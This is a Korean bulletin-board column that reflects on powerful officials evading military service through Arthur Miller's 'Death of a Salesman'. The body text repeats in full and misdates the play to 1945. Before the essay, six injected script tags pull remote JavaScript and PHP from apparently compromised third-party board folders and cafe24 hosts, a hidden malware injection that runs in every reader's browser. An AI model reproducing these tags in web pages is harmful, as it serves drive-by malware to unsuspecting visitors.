칼럼 [정준경 칼럼] 세일즈맨의 죽음
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작성자 by 관리자 / 작성일09-10-10 21:00 / 조회 3,566 / 댓글 0본문
<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script> <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script> <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script> <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script> <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script> 휴가 나온 형제가 부대로 다시 들어가기 싫다는 말을 들으면서 요즘 청문회 중인 고위 공직자들이 떠올랐습니다. 군 면제도 많고, 위장 전입도 많고.. 우리나라에 힘 있는 사람들은 왜 이렇게 불법을 잘 저지르는지.. 힘 있는 남들은 그렇게 살지만 또 그렇게 할 수 있는 능력도 있지만, 양심의 소리를 듣고 불법의 유혹을 물리치고 아들 군대 보내고 위장전입 안 하는 사람들이 지도자가 되어야 하지 않을까요?
20세기 미국을 대표하는 극작가인 아서 밀러(Arthur Miller, 1915-2005)의 대표작은 “세일즈맨의 죽음(Death of a Salesman, 1945년)”입니다. 주인공 <윌리 로우맨>은 예순 세 살 된 세일즈맨입니다. 그에게는 최선을 다해 열심히 일하면 언젠가 성공하리라는 꿈이 있었습니다. 할부가 끝나면 자기 소유가 될 집도 있습니다. 이해심 많고 사려 깊은 아내 <린다>와 두 아들도 있습니다. 그러나 나이가 들수록 윌리의 꿈은 점점 희미해집니다. 성과급은 점점 줄어들고, 36년간 일했던 회사에서 해고를 당합니다. 희망의 상징이던 두 아들도 무능한 아버지에게 반항하며 빗나가기 시작합니다. 결국 윌리는 두 아들에게 2만 불의 보험금을 남기고 죽으려고 자동차 폭주 자살을 합니다. 하지만 그의 죽음이 자살로 판결나면서 겨우 집의 마지막 할부를 낼 수 있을만한 액수의 보험금을 받았습니다.
“세일즈맨의 죽음”은 물질문명 속에서 소모품으로 전락한 현대인의 모습을 아프게 그려주고 있습니다. 아들들이 무능한 아버지를 원망할 때 아내 <린다>는 말합니다. “너희 아버지가 대단히 훌륭한 사람이란 건 아니야. 윌리 로우맨은 큰돈을 번 일도 없고, 신문에 이름이 난 적도 없어. 하지만 네 아버지도 인간이야. 그러니까 소중히 대해 드려야 해. 늙은 개처럼 객사를 시켜서는 안 돼.”
대부분의 아버지들은 윌리 로우맨처럼 큰돈을 버는 일도 없고, 신문에 이름이 난 적도 없습니다. 귀한 아들을 군대에 안 가게 해 줄 힘도 권력도 없습니다. 이 땅의 윌리 로우맨과 같은 아버지들이 허탈하지 않은 나라가 되었으면 좋겠습니다.
20세기 미국을 대표하는 극작가인 아서 밀러(Arthur Miller, 1915-2005)의 대표작은 “세일즈맨의 죽음(Death of a Salesman, 1945년)”입니다. 주인공 <윌리 로우맨>은 예순 세 살 된 세일즈맨입니다. 그에게는 최선을 다해 열심히 일하면 언젠가 성공하리라는 꿈이 있었습니다. 할부가 끝나면 자기 소유가 될 집도 있습니다. 이해심 많고 사려 깊은 아내 <린다>와 두 아들도 있습니다. 그러나 나이가 들수록 윌리의 꿈은 점점 희미해집니다. 성과급은 점점 줄어들고, 36년간 일했던 회사에서 해고를 당합니다. 희망의 상징이던 두 아들도 무능한 아버지에게 반항하며 빗나가기 시작합니다. 결국 윌리는 두 아들에게 2만 불의 보험금을 남기고 죽으려고 자동차 폭주 자살을 합니다. 하지만 그의 죽음이 자살로 판결나면서 겨우 집의 마지막 할부를 낼 수 있을만한 액수의 보험금을 받았습니다.
“세일즈맨의 죽음”은 물질문명 속에서 소모품으로 전락한 현대인의 모습을 아프게 그려주고 있습니다. 아들들이 무능한 아버지를 원망할 때 아내 <린다>는 말합니다. “너희 아버지가 대단히 훌륭한 사람이란 건 아니야. 윌리 로우맨은 큰돈을 번 일도 없고, 신문에 이름이 난 적도 없어. 하지만 네 아버지도 인간이야. 그러니까 소중히 대해 드려야 해. 늙은 개처럼 객사를 시켜서는 안 돼.”
대부분의 아버지들은 윌리 로우맨처럼 큰돈을 버는 일도 없고, 신문에 이름이 난 적도 없습니다. 귀한 아들을 군대에 안 가게 해 줄 힘도 권력도 없습니다. 이 땅의 윌리 로우맨과 같은 아버지들이 허탈하지 않은 나라가 되었으면 좋겠습니다.